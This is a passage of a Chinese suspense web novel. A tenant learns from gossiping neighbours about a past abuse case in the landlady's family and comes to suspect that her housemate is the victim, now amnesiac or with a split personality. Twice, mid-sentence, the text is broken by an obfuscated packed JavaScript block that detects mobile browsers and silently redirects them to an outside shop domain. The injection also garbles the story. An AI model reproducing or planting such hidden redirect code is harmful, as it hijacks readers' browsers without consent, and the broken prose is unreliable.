“所以说那程峰他就是个畜生!这么好的孩子,又那么小,他也能下得去那个手!”赵姨呲起牙,“那时候他才读初中吧?那才刚刚十来岁呀,也太不是个东西了!” “是啊,初二,十三四岁吧。我记得是比我家志鑫大了一岁多一点。”刘姨补充道。 ——初中?成绩好,会画画……她们说的难道是程静?那个初二突然辍学离开的程静?留下《小王子》和月亮画的程静? 我像被狠狠撞了一下,猛地倒抽一口气—— 是了,是程静!我是有多迟钝,竟会现在才反应过来,程静和程峰是一个姓。 我转头定定望向赵姨,她的用词和语气给了我很不好的预感。 赵姨看我望着她,也将脸直直对向了我:“你还不知道吧?也是,你那好方姨哪有脸提!她家男人做出来那样的龌龊事,真是毁了人家一辈子!该着他四十来岁就死了,要我说,那就是报应!” ——龌龊事……还真是我想的那样? 我脑子里乱哄哄的,打在脸上的阳光都冷了下去。 关于方姨家的秘密,我有过许多推测,却从未想到会是这样。 我知道程静会是迷宫的中心,却从没想过她会是这样的遭遇。我也没想过,她是方姨的侄女……她也疯了吗? “唉,程峰是脑溢血没的吧?”肖姨将衣服换到另一只胳膊上抱着,“还年纪轻轻的就脑溢血了。” “是啊,那会儿他不是成天在外面应酬吗,早把身体都喝垮啦。”刘姨脸上拧出几道弯来,“出事那天,说是他们几个本来在饭桌上就已经喝了几瓶白的,后来又喊去KTV,在那里面喝洋酒喝到了半夜才散场。他都喝完往回走了,谁知道下个楼梯就一头栽了下去。人就是这么没的。”她用力摇了摇头。 “这不就是报应么!真不知道这局里怎么想的,就这还给他算了个因公殉职,还赔了钱。呸!”赵姨鼻孔立了起来。 说完,她又转脸来看着我:“你那方姨啊,从头到尾就没站出来为那孩子说过一句话。听说她和她妈妈还是老早就认识的,关系还好得很。”口气忿忿的,眼睛却在暗影里闪闪发亮。 “是啊,说都是褚县里出来的,来这边后又一起读的电大。”没等我表态,刘姨就已经补了上来,“那时候程峰不也读电大吗,拿了文凭才评的职称。他们俩就是做同学时认识的。后来谈了对象,才结的婚。” “难怪了。我就说那孩子的爷爷,还有姥姥姥爷都在,怎么就领到他们家了。”肖姨也插进了话,“原来还有这层关系。” “是啊,他们不正好也自己没孩子么。”刘姨语气淡淡的。 肖姨又凑近了些,对着我们轻轻眨着眼睛:“你们说,方季雅和老程两个,他们结婚前后也有二十多年了,怎么就没有个孩子?” “是方季雅她不能生育了。”刘姨环视一圈,见大家都认真望着她,才接着道,“之前她也怀上过几次,但都流掉啦。” 说着,她将右手举到胸前,亮出来中间三根手指,一震:“这个数!” “怎么会这样?”肖姨的表情紧张起来。 “她早先不是在印刷厂里调油墨吗。” “怎么又调油墨去了?不是说在那里做会计的吗?”赵姨两颗眼珠瞪得比眼眶还大。她特地将这表情维持了近一秒,以表达惊讶。 “那是后来程峰找关系才给她调过去的,这之前她就是个油墨工。”刘姨拉长了语调,“现在才都说油墨里有毒,但当时知道个什么?她就是做那个把身体给都做废掉啦。” “其实她和老程刚结婚就怀上过两次,但都没多久就流了,这才把身体底子都整个亏完了。那时他们家条件不是好吗,老程在单位混得又好,所以第三次她干脆就辞了工作只在家里养着,就这样都没能保住。”她瘪了瘪嘴角,“说是习惯性流产,这辈子都不能有孩子了。” 一阵短暂的静默。几位阿姨交换着心照不宣的眼神。 “原来她是不能生啊。”赵姨一拍大腿,身体又是一仰,“我就说那会儿,到处都在传她家程峰和那徐会计有一腿,她一声都没吭。我还想她怎么就能跟个没事人一样,原来是她自己理亏,硬气不起来啊。” “那不还是在那事之后,才没见他们两个再来往的。”肖姨轻哼一声,垂着嘴角笑了,“男人啊,不吃点教训,他就总管不住自己。” “谁知道是不是真收了心,指不定是野花没有家花香呢。”赵姨大声说着,意味深长地左右都递了眼色。 ——看来,程峰,程家伯父的早死,方姨不佳的健康状况,都还有玄学之外的解释。 三位阿姨兴致勃勃地说着这些家长里短。在这一天台的夕阳下,方姨家藏着的秘密就这样猝不及防地被晒了一地。 我听着这些陈年旧事,一点点拼凑出这个家庭的地图—— 原来,制约那屋子的不仅是当下的风水,还有“过去”这个鬼魂。 天空的颜色已经淡了下来,褪成泛着浅青的水色。太阳也漂尽橙红,变成浮在这水上的一盏牙白色瓷盘。 我侧头去看了那床还晒在角落里的被子,胸口像开了个大洞,灌满了比这暮色更薄,比这天台更空的风。 太阳要落山了。 我将目光移到它身上,驻了好一会儿,让说话声流水般淌过耳边。 我这才察觉出不对劲来——那太阳看起来不怎么圆。它左边似乎缺了一块,像个歪斜膨胀的字母D。 ——太阳还会变形? 脑子短路了半秒。我搜索着关于太阳变形的记忆,却只有一片空茫。直到两秒后我才突然反应过来——那边明明是南边。 ……南边? 太阳怎么是从南边落下? 我呼吸一滞,猛地右转,往西边望去—— 那里,赫然也正悬着另一轮太阳,一轮橙艳的太阳。 我马上回头,又左右往复看了几遍。两个太阳稳稳挂在两头,不是我的错觉。 ——天上…真的有两个太阳? 脚下的地面仿佛轻轻一荡。 但随即,“日月同辉”这个词穿过迷雾出现在我脑子里—— 是了,南边的那个,是月亮。 我的心口一下子松开了。 也就在这时,我才注意到周围安静了下来。一回头,便看见几位阿姨在认真地看西边的太阳。一定是我刚刚动静太大,又忘了收敛脸上的惊骇。 我抿嘴解嘲地笑笑,她们也跟着笑了笑。赵姨长长地“嗳——”了一口气。 肖姨抚了抚胳膊上的衣服,说着“太阳要落山喽,回去啦”,转身去收剩下的衣服了。刘姨和赵姨则仍站在原地,继续她们的闲聊。 我望着南边的月亮想起了疯子——想起他关于Monday的说法。 原来,白天还真有月亮。 他会被看见吗?这个点,总该已经回来了吧? 他……赵路,真的是方姨的侄儿吗? 刘姨她们口中的那个疯子,到底是不是他? 程静呢?她又去了哪里? “对了,方姨家这个疯子,是叫什么名字啊?”我收回目光,在二人之间找了个间隙,插进话去。 “你还不知道啊。”刘姨看了过来,脸上的疑惑旋即变成了然。她微拧起眉头,目光飘向护栏,应该是在回忆。 “是不是叫程静?方姨好像这样叫过她。”我睁圆了眼,又眨了眨。 “对,应该就是这个名字。我们那时候都是叫她静静。”她目光立刻收了回来,赵姨也在旁边应和。 ——她们真的以为,住在方姨家的疯子还是程静。 “她后来还一直住这吗?”我微低下头,别开眼,迟疑着问,“都发生了那样的事,她怎么不走呢?” 旁边却一声嗤笑,赵姨接过了腔:“哟,你也这么大年纪了,怎么跟个姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001296|193953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家一样,还害羞。”我一抬头,见她正敛着眼笑眯眯地望着我,表情说不清是嘲弄还是揶揄。 “怎么没走过?那次闹跳楼后,没几天就跑出去过一次。”刘姨叹了口气。 “起先是从窗户往下扔碎纸。就是那边窗户,”她指了指天台靠近中间的外沿,那边对着的正是我的房间,“都是些书,卷子啊,作业本什么的,全都撕得稀碎,扔得底下到处都是。” “这之后没两天,她背个包就跑出去啦。那么小个孩子,身上又没个钱,不知道哪来这么大胆子。好在没一个月就寻回来了。”刘姨长出了口气,左嘴角掉到了下巴上。 “不是说是从派出所里领回来的吗?”赵姨又凑近了些,“好像是进了个什么犯罪集团,做扒手被捉到了是吧?” “是进了个小偷集团,但不是偷东西被抓的。她是和那里面的人打架进去的。”刘姨挑着眉毛,下巴也微微扬了起来。 ——做扒手,打架进派出所……这么耳熟…… 混混?不会吧…… 我努力回想疯子口中混混的性别,才发现他只说过程静、破鞋、废物是女的。 我忽然生出几种十分荒谬的猜想来。 “啧!她那时候就这样厉害啦?怪不得长大了不安分。”赵姨的脖子已经伸到了中间,她眨着眼:“我好像听谁说,她后来是在外面做那些不干不净的事?但怎么又有人说,她是出去读大学了?” “读大学?那已经是多后面的事了。”刘姨下巴往后一收,上面的褶子又多出来几层,“你忘啦?她高中那会儿,不是又跑出去过一回?” “嘶——”赵姨拧起眉头,随即眼睛骤地一亮,急切问道,“是不是网恋啊?” “是啊!说是网恋,其实是那边故意骗过去的。”刘姨鼓着眼珠,翻着上唇,“一过去就关到什么会所里面去了。程峰和方季雅托了多少关系去找?人没领回来,她倒好,自己又不知道跑哪里去了。” ——破鞋…… 这词就像团破烂棉絮,一下塞进我胃里,吸去我身上大部分力气。好在,惊愕和好奇也是真的,不需要我再刻意维持表情。 “哎呀,还真有这事!我们这楼里真住着个破烂货!”赵姨将嘴向下咧开,“啧啧。我就说,他们家家风真是坏透了的!” “那她后来怎么又回来了?”我拧着眉。 “她后来在外面读了大学,”方姨目光从我们脸上扫过,“外省的,好像还是个二本。” “二本?那还可以呀。”赵姨用手肘顶了顶刘姨,“那怎么后来没找着工作?” “她根本就没毕业!老程死了有两三年吧,人就被接回来了,天天关在屋里。”刘姨的话在嘴里滚了滚,才吐出来,“……都说是在学校里惹了麻烦。” “那是,社会上混过的,还能够再安心念书?”赵姨抱着胳膊,撇嘴冷笑。 ——关在屋里……难道是傻子? “那也有十来年了吧?她那时候就疯了吗?”我讷讷地问。 “那倒没有吧…”刘姨眉毛拧得更重了些,“也就是这两三年才都说她疯了的。” ——这两三年…正好是赵路说他住过来的时候。 我想起了废物:如果她真的在这附近补习、工作过,进出时就可能被刘姨她们看见。 “之前那么多年,她一直呆在家里,没出去上班吗?”我瞪大了眼睛。 “上班?怎么没上过?我还遇见过。”赵姨挑起嘴角,对方姨一递下巴,“还记得之前小区门口那家日日惠吗?就是四五年前改成药店的那个。她就在那里面摆过货,还是隔壁单元小郑指给我看的。” “日日惠改药店,那都是六年前啦!疫情之前就改了的。”刘姨嘟了嘟嘴,“这个我也听人说过,但没在那里面看到过啊。” “我也就看到过那一次。”赵姨顿了顿,忽然从鼻子里喷出声笑来,“你怕是看到了也不认得。要不是小郑说那就是她,我还真认不出来。” “你看到是不是胖胖的,戴个眼镜,一副没洗脸的样子?”刘姨别着脸看向她,嘴嘬了起来,“我前几年偶尔还在门口遇到过,她见人都不打招呼了。” “正是那个样子!我看她那脸上肉都横着了。头发也不梳,疲疲遢遢的。啧啧啧。” “那就是了。她怎么就变成那个样子了。小时候长得多好啊,眼睛又大,皮肤又白,端端正正的。怎么才三十岁不到就跟四五十岁发了福一样。” 赵姨将嘴撇到了下巴上:“谁让她又自己糟蹋自己。做那行的,能有个什么好样!” “她其实还在我外甥饭店里打过工,就在前面那条街上,我正好遇到过一次。我妹妹说她做了还没一个星期就没去了。后来又听说去了那附近一个什么卖副食的店里做事。”刘姨松松垮着脸,转身去看了眼嵌进栏杆缝隙里的太阳。 ——废物…… 赵姨哼笑一声,也将目光投向那栏杆:“她就是个不安分的,做得住什么事情?” “不是说她才又在外面找了工作吗?这次是做什么?”刘姨转向我。 ——这…她们说的,和我见到的大概都不是同一个人…… “嗯,他现在应该没有在工作。”我只好根据疯子的情况给出了回答。 两位阿姨换了个眼神,脸上都是“我就知道”的表情。 “原来就做不得,这都疯了,还做个什么事!”赵姨将嘴撅了起来。 “嗨,也不知道怎么就疯了。”刘姨嘴角弯起,下巴却皱着,“前段时间他们家不是又天天吵吗?我们家老褚就说,这是成天憋在家里憋疯的。” 赵姨马上应道:“要我说,她有手有脚那么大个人,事又没看见做事,一天到晚关在家里不出来。这要是我,怕是早就疯了。” “她们之前也往外租房子吗?”我有些迟疑,“要不,只有方姨一个人工作……” “嗬!你还同情上她们啦?”赵姨抱着胳膊,斜着肩膀顶了过来,“你还当她们是什么好人?你出去问问,这整个小区里还有谁理睬她们的。被骗进来了心里都还没个数,还上来帮她收被子,哼!” 刘姨又拉了拉她,转过头来看着我,放慢了声音道:“你这应该还是头回。要不是在门口遇上你,我还不敢相信她们真把房子给租出去了。”顿了顿,又说:“小江啊。本来作为隔壁邻居,这话不该我来说的。但是你这也看到了,你住的那里是个什么情况。阿姨劝你,还是尽早搬出去吧。” ——果然,这屋里从头到尾,都只住了一个“程静”。 我谢过两位阿姨,告诉她们我最近手头实在太紧,等下个月发了工资,我就马上想办法搬出去。 两位阿姨收拾好东西就下楼去了。 我走到那床被子前,愣了好一会儿——她们口中的“程静”,到底是几个人? 从刚才的谈话来看,“程静”前后出走过两次,性格和相貌都有了很大变化,后来甚至干脆“疯了”,连门都不出。 ——即便中途换了人,在这些邻居眼里,怕也只是“女大十八变”吧? 但,如果真是不同的房客,方姨为何将每一个都称作自己的侄女?更何况,是那样不光彩的“侄女”。 如果是同一个人…… 疯子又为什么要编出来这一整套“前租客”的故事? 他到底是谁?为什么要换进来? 他真的,是个疯子吗? 我伸出手去取被子。但手刚扶上被面,就像受了重重一击,猛地停住—— 两位阿姨都听到了“疯子”和方姨的争吵。 如果吵架的是赵路,她们不可能听不出来——那是个男人。 难道…他是上个月“程静”离家出走后,才换上来的? 赵路出现后这二十来天,别说吵架了,我连他和方姨说话都没见过。既然没再闹出什么动静,她们不知道又换了人也是正常。 但是……我想起方姨对他明显带了嫌恶的视而不见,还有每次我提起他时,她显露出的不自在—— 她为什么要默许他的行为,让他在这里住下去呢? 他抓着她什么把柄吗? …… 我望向天边那轮白月。 白月上是赵路的脸,淡漠,散漫。他的呓语、梦境和青词又在耳边响起,夹在阿姨们的闲话里,被风吹来送走。 这里面,到底有多少是真的,多少是装出来的? 真正的程静,她又去了哪里? 难道,她就是那间屋里的“鬼魂”? “你要去听,去看,去分辨。” 我抚摸着被子,在心里喃喃念到。 “我听见了,看见了,但是,我要怎样去分辨呢?” ——我听见的,看见的,又有多少是真的? 我转身望向四周——这是一座巨大的迷宫—— 一座由无数人,无数镜子,组成的无尽的迷宫。 7. Chap.07 病了什么风 Chap.7 病了什么风——疯的又在哪 在弄清那屋子里到底是家风问题,还是风水问题之前,我决定装作什么都不知道。 毕竟,我不知道这事是不是还和我有关—— “程静”消失后,方姨为什么又往外租房子。 我也不知道,她和赵路,谁才是“鬼”。 我抱着被子下了楼梯。在我费力地拉开大门时,方姨正迎了出来。 她在围裙上蹭了蹭手:“要不要我接过来?” 我赶紧摇头说不用。 “怎么上去了这么长时间?”她轻轻皱着下巴。 “哦,我在上面晒了会儿太阳,还望了望远。看了一下午书,眼睛有点累。”我朝她笑笑。 方姨便也笑了,嗔怪着叮嘱我要注意休息,别看坏了眼睛。 “晚饭已经好了,放了被子就过来吧。”说着,她转身去了餐厅。 等我走到餐桌前,菜已经摆好了。方姨正放下碗筷——她只拿了两副。 “赵路还没回来啊?”我随口问道。 她身形一滞,脸上的笑瞬时消散,下眼睑也微微收紧:“就只有我们两个。” ——还真没回来? 我盯着紧闭的书房门看了半秒,又回头望了望窗外——天色已是淡淡的紫褐。 ……他到底是去哪了? 不知是因为刚刚的问题,还是赵路的缺席,这顿饭吃得有些沉默。 我咽下好几口米饭后,方姨才又开口:“后天,也就是十月一号,国庆节那天,你有空吗?” 后天我还真有空——国庆和中秋都放假。倒不是公司爱惜员工,而是法律规定:所有法定节假日都禁止催收。 于是,我告诉方姨,后天我应该会在家。 “那就好。我看了,十一是个好日子,明堂,最适合风水布局了。这几天,我总觉得有点不舒服,就想在家里布个平安健康局。那天正好和你属相相合,方姨就想请你帮个忙,一起把这局给布出来。”她笑眯眯地望着我,又给我夹了两块排骨。 ——平安健康局? 我望着她益发耷拉下的眼皮和两颊,只好答应下来。 况且,我也想看看,这布的,到底是个什么局。 见我点头,她眼睛亮了亮,脸上也扬起神采来:“太好了。那天午时最好,是吉时,那就定在上午11点吧。到时候,还要你帮忙搬点东西。” 我正要回答,玄关那边突然传来开门声。一阵响动后,赵路走了进来。 ——他竟还真的在外面呆到了现在。 赵路走到餐厅前停了停,看向我和方姨。 我将自己稳在椅子上,笑着打了招呼:“你回来啦?快来吃饭。” 他却只垂眼扫了眼餐桌,便转身开门走进书房,关上了门。 一句话也没说。 一时间气氛十分尴尬。 我转头去看方姨。她咬着嘴唇,皱眉望着书房方向。 这之后,我俩都没再说话,只默默将饭菜吃完。 饭后,方姨来我房里帮我套被子。 她从衣柜里抽出床红色被套,展开后上面还印满了艳丽的大团花朵。 大概是怕我不好意思,她特地解释说这被套是老棉布的,正适合现在这要凉不凉的天气。等过段时间真的冷下来,再帮我换磨毛的被套。 被子套好后,她带上门出去了。 我摸着这粗糙平顺的老棉布,心情却不太平顺——她对我的这些好,有多少是真心呢? 她,到底想在我身上得到什么? 我在这迷宫里,又扮演怎样的角色…… 对,这就是座迷宫。迷宫的中心是“程静”,入口却无疑是赵路。他是最明显的线头。 他第一次出现,是我搬进来的一周后。 三天后,刘姨告诉我他是疯子,说他大半个月前跑了出去,才刚回来。 那么…“程静”是在我搬进来的十来天前离开的。 她“离家出走”后,方姨没有报警,也不再提她,反而接着就将侧卧租了出去。 就好像,她从来不曾存在过。 赵路和“程静”到底会是什么关系? 我在床边坐下,在记忆中翻找他和“程静”的交集—— 半个月前,我去还《变形记》,他正在读《The Little Prince》,书的扉页上就写着“程静”。那应该是最初的程静,真正的程静。 他当时的表情……确实像个毫不相干的陌生人。 还有之后的混混、破鞋、傻子,说起她们时,他情绪里也都是一片空白。 ……难道,这些真的只是巧合? 他真的是在我搬进来后才“回来”的? “去听,去看,去分辨……” 我向右一低头,目光流进被面上被我戳出来的一个小小凹陷里,忽然顿住—— 凹陷中,晚饭时赵路径直推门进书房的身影,和他第一次出现时,走进房间的身影重合了。 ——对呀!如果他比我还后来,要怎么解释他对这屋子的熟悉程度,还有那主人特有的松弛感? 而且,旁边那一柜子书,可都是我刚来时就已经在那的。他却说里面大部分都是他买的…… 我心里一沉,目光落到床头柜上那本《月亮和六便士》上。探身将它拿起,飞快拨过一遍。里面没有任何字迹。 但是——我抚摸着封面上的折痕,和有些发黄的侧面,有了更合理的答案—— 或许,他真的来得比我要早得多。 我长长排出一口气。 看看才刚过8点,我草草翻完书的最后几页,拿着它出了房间。 方姨果然在客厅看电视。我和她打了招呼,走到书房前。 敲门后,过了好一阵子里面才传出声“进来”。我吸口气到胸口,压下门把走了进去。 门一开,就看见赵路又坐在飘窗上,垮着脸侧头看过来。 ——刚刚真的是在发呆? 我扫了眼他腰下塞的那团东西——还是之前的薄被——冲他扬了扬书,咧嘴一笑:“我又来还书了。” “《月亮和六便士》。”他提了提嘴角。 我将书往书架方向一指,歪头看他:“我去放?” “嗯。”他往左抬抬下巴,头就转回去了。 于是我走进房间,停在书柜前。 正要将书插回去,我忽然止住,转身正对向他:“说真的,这本书我也没太看懂。我原来还以为‘月亮’说的是理想呢,读了又觉得好像不是。” 他轻轻一哼,转过脸来。眼镜镜片上反着灯光,看不清眼神: “更本源的东西……说是理想也没错。理想…信念,知识,情感,欲望,都是那东西的外在形式,不过是它在不同人身上,不同的显现。它就是所谓‘真我’,或者——‘芯’。” ——他果然读过。 “芯……”我侧倚着柜子,思忖片刻,“但你之前不是说,人们都为它而活吗,怎么又会让人毁灭呢?” “因为纯粹只有一个方向,就是毁灭。”他转过头,让脑袋更舒服地靠在墙上。 我低头一笑:“还真是。” “对了,你下午的敬天仪式怎么样?或者…该称它‘敬月仪式’?”我将书插回原处,笑里带了些调侃,“我读到阿塔烧房子那段,就想起你的青词来了。” 赵路只歪了歪脑袋,胸口却轻轻震了一下。 “你文笔那么好,之前是作家,还是老师?” 他嗤地笑了:“我猜都不是。” “你猜?” “嗯,我不记得了。”他嘴角勾了起来,“我不记得具体是做什么的。许多东西我好像都懂一点。只是,应该不是你说的那些。”他微仰着脑袋,喉结一滑。 “啊?真不是专业人士?”我认真盯着他,皱皱下巴,随即换上意味深长的笑:“我知道了——若非专业人士,就必为切身体验了。你有很喜欢的人?” 听我这样问,他又哼出声笑来,发丝都透着懒散,“都说了那些句子是自己跑出来的。”再抬眼扫见我眉毛微皱,嘴唇微张的呆样,才又挑眉加了句:“喜欢的人就算真有过,我也不记得了。何况,我也想象不出自己能喜欢上谁。” ——他是真的不记得了? “唉,忘记喜欢的人,该说这是不幸,还是幸运?”我脸上浮起塑料味十足的沧桑,“其他人你也都不记得了吧?比如…你的父母,还有你伯父?” 赵路没应声,头都扭向了窗外,大体是又觉得我无聊。但忽然,他慢慢回正了脑袋,声音有点发怔:“伯父……我还真想不起来了。” “他去世那么久了,而且本来我们两家就不怎么来往。”马上,他就为自己找到了理由。 ——这是演戏?在我面前?……有必要? 总不会…还真是失忆? 我耸耸肩,敷衍地嗯了声,接着问:“那废物呢,你还记得她的样子吗?”说完,我抿嘴玩味地笑望着他。 他斜瞟了我一眼,看上去就像在翻白眼,口气却没有丝毫不悦:“记得。” “那她长什么样?”我笑得牙都呲了出来,“你连伯父和喜欢的人都不记得了,却还记得她,一定好看的很吧?” 这回他总算清晰可见地翻了个大大的白眼:“呵,好看。如果她那脸不是三天一洗,而是五天一洗,也别隔三差五地运动节食了,还能更好看。” ——他见过废物。他,确实一直住在这里。 而且,无论是提到父母、伯父,还是废物,都看不出他有任何介怀。 我像被他逗乐,挑眉瞪眼地直直盯了他三秒,身体也因为憋笑而猛震了几下。 “还想再跟你借本书。”笑完,我转向柜子,食指在一本本书脊上划过,停在中国史的《大纲解析》上:“诶?废物是考历史系的研究生啊?” 说着,我将书抽出来,扫了眼封皮上“2020年全国硕士研究生入学考试”几个字,随手翻看起来。 “嗯。她说她和高数不共戴天。”赵路声音还是懒洋洋的。 “哈哈,历史居然不考高数。她大学什么专业的?” “没问。” 书上没写名字,却涂了不少字迹囫囵的笔记,很能一窥主人性格。 我一页页翻过去。直翻到第六章的思维导图,看见左上角那行字的瞬间,目光像被电轻轻扎了一下—— 那是一句诗,写得十分端正:“一日看尽长安花”。 ——这字迹…有些熟悉。那向右高耸起的棱角…… 我猛地一僵,慢慢转头去看赵路。他垂着头,胳膊支在膝上,右手翻开着,指尖微微翘起。眼睛虽隐在暗处看不清,却一定是在看自己右手食指的指尖。 稳住心跳,我将视线推回书上,继续往后翻。 后面还有许多还算齐整的字迹——虽然都未完全长成那篇青词上劲瘦的体型,却也已经开始有了它横折点捺的眉眼。而且,它们大多与前后页面上的字,用的是同一支笔…… 再仔细辨认,即使那些潦草的字迹中,也能认出相同的架构和笔锋。 白炽的灯光嗡了一声,温度抽离开我的手指。 我有些木然地将书放回书架,又抽出本公考资料—— 还是这笔字。 废物……赵路? 这个发现将我之前的全部怀疑和猜测都一口气踹翻了——最疯狂的猜测中,赵路甚至在和方姨联手倒卖人口。活的,或者死的。 我的胸口和脑子空茫了一瞬。然后,才反应过来—— 不对……废物不是女的吗? 我愣愣望向赵路——他明明说废物是个女的啊。 乱发下他的喉结隐约可见。 ——他故意说谎? 我轻轻呼出了肚子里的全部空气。想了想,将书放回去,目光从那排辅导资料和教材上刷过——《管理学原理》《金融理论与实务》《组织行为学》《企业管理咨询》…… 企业管理类,这就是“废物”的自考专业吧。 我抽出《组织行为学》,扫了眼目录,翻到《群体与群体行为》这章,慢吞吞地读了起来。 “你也打算自考?”我大概翻了二十来页,飘窗那才总算传来了赵路的声音。 “我像是没有大学文凭?”我无语道。 “那你读这些读半天?”他听上去比我更无语。 “我在想…要不要干脆也考个研。”我将视线按在书上,指尖划过细腻的纸张,又翻了一页,“企业管理就不错。” 那边一声嗤笑。 ——呵,不还是你当年的专业? “还挺有趣的。”我随口道,“原来咱们俩就已经算得上个小群体了。” 赵路没有做声。我指尖停在中间那行上:“这书上说,信息传递中语言竟然只占7%,态势反倒占了55%。”说着,我轻轻一笑,侧脸看向了他,“在你这里,态势至少得占九成。” 他转过脸来,看了眼封面,表情带了疑惑:“态势?上面说的是宏观社会的信息传递,还是日常的人际交流?” “呃,”我干脆将书摊到他跟前,指给他看,“这条,‘非言语沟通’的‘无声言语沟通’。” 他轻轻嘟起嘴,蹙着眉将一整节读完,才说:“哦,是日常人际交流。” “嗯。”我冲他一笑,“上面还写了,你的传递方式,无法保障信息的准确性、完整性、及时性,容易造成沟通障碍。” 他懒懒瞥了我一眼,随即双眼往右上方一飘,露出底下的眼白来。 我暗暗一提嘴角,站直了身子。又翻过几页,才转眼去看他:“咦,这个也挺有趣。你听说过‘建设性冲突’吗?” “建设性冲突?”他仰起脸来对向我,目光却落在空中,嘴角垂着沉吟。 ——就你这样,居然还毕了业? “嗯,据说适当的冲突能保持组织的生机与活力。”我也皱着下巴。 “哦,鲶鱼效应。”他脖子松了下去,“马克思的内部矛盾。” ——他这是真不知道“建设性冲突”…… 我眼角缩了缩,手指掐进书里,恍然点头道:“哦,那我就懂了。” “原来冲突有这么多种解决方案。”几分钟后,我又从书上抬起眼,笑吟吟地望着他,“考考你,你知道几种?” 他向右微微一侧头,随即说道:“当面动口或者动手,背后使绊或者找人,离开,让步或者合作。” “你一口气就想到这么多!”我惊叹道,又仔细比对了教材,“这上面写的都说到了——竞争、回避、妥协、迁就、合作……呃,妥协和迁就有差别么?” 他又让我拿书去给他看了,一会儿才递回来:“上面写了,妥协是实力相当,迁就是势不如人。” “哦,这样。那我平时得多迁就你才行。”我笑嘻嘻地接过书,又随便翻了两页,插回柜子里。 他嗤了一声,将脸转开。 ——情况已经很明显了…… 赵路就是废物,但他什么都不记得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001297|193953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 我探身去看了眼桌上的电子钟,轻呼一声:“都快10点啦!我得走了。” “今天又打扰你这么久…”我说着,去柜子里拿了那本《The Little Prince》,往他视线下一放,“我想借这本。” “嗯?你不是考研吗?”他又挑起了眉。 “考研也考英文啊,我先熟悉熟悉。”我收回胳膊,将书随手拨了两下。 他脖子往后一收,嘴一撇:“哦。” 我笑笑,拿着书回了自己房间。 房门合上,我脸上的笑便褪了个干净。拧上锁的同时,眉心也紧紧拧了起来。 刚才赵路的表现不可能是作假——他的确以为“废物”是另一个人,一个和他毫不相干的女人。 恐怕他也真心以为,自己就是方姨的侄儿。 那么,他到底是什么时候住进来的?又是在什么时候,失去了之前的全部记忆? 我坐到书桌前,按亮台灯,将那本书放在灯光下。 书保存得很好,却仍有了岁月的痕迹。覆膜边缘的气泡连成一片,像长了一大块白斑。书页侧边则布满了细小的淡褐色斑点。 指尖轻抚过它的蓝色封面,触感滞涩。翻开,空气中弥散开旧纸和灰尘的味道。 书里全是英文,版权页上印着:2000,2006。初版与再版。 已经将近二十年了。 ——二十年…… 我翻回扉页,看着上面那两个工整方正的钢笔字,指尖轻轻敲打桌面—— 程静初二辍学时,大概十三四岁。那么现在…她该是三十岁出头。 “废物”的中国史《大纲解析》是2020年的。那么,复习考研就是在2019年,也就是六年前。 还有…… 我闭上眼,沿着那一排书脊看过去——考公务员应该是在2016年左右。 九年前。的确能和赵路口中“废物”住在这里的日期对上。 所以,他在这里住了至少九年了。 但是… 那个六年前,赵姨在超市看到的、在刘姨亲戚家饭店里打过工的“程静”,又是谁? 她们明明说,这房子之前还从没有租出去过…… “脸上肉横着…不梳头…跟四五十岁发了福一样……” 阿姨们的话又环绕在我耳边。每一条,都能扣上赵路口中那个“废物”。 “三十岁不到……” 年龄却能和程静对上。 “小时候长得俊…眼睛又大,皮肤又白……” “眼睛又大,皮肤又白……” 我下意识地重复着,气息猝然断在喉间—— 窗台阴影里,那张苍白的脸,那双大而空洞的眼睛,猛地撞到我眼前。 “……眼睛又大,皮肤又白。” 心脏仿佛骤然悬空,再无止境地向下坠去。 ——是啊……从见第一面起,我不就已经看见了这双大眼睛,这身白皮肤? 我目光死死钉在“程静”两个字上。它们有着和赵路字迹截然不同的方正。 赵路……程静? 他看上去已经四十——但她们也说,“程静”比实际年龄显老得多。 她大学辍学。这也就解释了,为什么考公考研之前,“废物”还得先拿下自考。 所有的碎片都能嵌在一起,除了—— 赵路,是个男人。 拇指按在书上,缓缓碾过这两个字。 我眼前浮现的,是乱发下凸起的喉结。 赵路…他到底是谁? 方姨找回来的替代品? 我竭力回想天台上的对话,声音在脑海里翻搅。 忽然,胸口猛地一沉,四周的空气随之一荡—— 三位阿姨,自始至终,都没明确说过一句“程静”是女的。 如果…程静原本就是男的? 如果,从头到尾,都只有赵路——一个彻底失忆的赵路? 我心中一阵焦躁,仿佛看见地底的洞穴在微微震颤。紧紧攥住桌沿,我强迫自己向这深处探去—— 他既然能忘了自己就是“废物”,当然就能忘了更早的“程静”。 既然“废物”不是女的,那么程静,自然也能是男的。 台灯的光线越来越暗,迷宫的地图却一点点清晰—— 如果,程静原本就是男的,就是赵路,所有谜题就都有了最简单,也最合理的解释: 为什么“废物”的书上是他的字迹。 为什么他会住在未曾对外出租的房子里。 为什么…他会疯。 天台的对话里,三位阿姨的暗示再明确不过:程峰,侵犯了初中生程静。 他,在少年时,遭遇了最不堪的侵犯…… 又在青年时,沦落到以身体为交易。 以及再后来,一次次挣扎的失败—— 就是这样,他一步步走到了今天。 他疯了。他忘记了一切。 于是,那些过往,都成了曾经的房客—— 呆子、破鞋、废物——他们,都成了女性。 他疯了。 却绝对不是简单的“失忆”。 “人格分裂”——这个词清楚地出现在我脑子里。 他“疯了”的时间,应该就是“赵路”诞生的时间。 